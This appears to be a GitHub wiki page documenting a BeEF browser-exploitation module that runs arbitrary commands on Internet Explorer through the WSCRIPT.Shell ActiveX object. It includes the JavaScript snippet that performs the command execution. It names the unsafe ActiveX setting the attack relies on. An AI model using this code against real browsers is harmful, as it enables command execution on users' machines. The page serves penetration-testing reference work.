Module: ActiveX Command Execution - h4sh5/beef GitHub Wiki
Summary
-
Objective: execute arbitary commands using WSCRIPT.Shell object
-
Authors: bcoles
-
Browsers: IE
Internal Working
Execute arbitrary commands using the "WSCRIPT.Shell" object. The command response is not returned to BeEF.
The browser must have "Initialize and script ActiveX controls not marked as safe for scripting" enabled.
try {
var shell = new ActiveXObject('WSCRIPT.Shell').Run(cmd);
if (shell.toString() == 0) {
result = "command sent";
} else {
result = "command failed";
}
}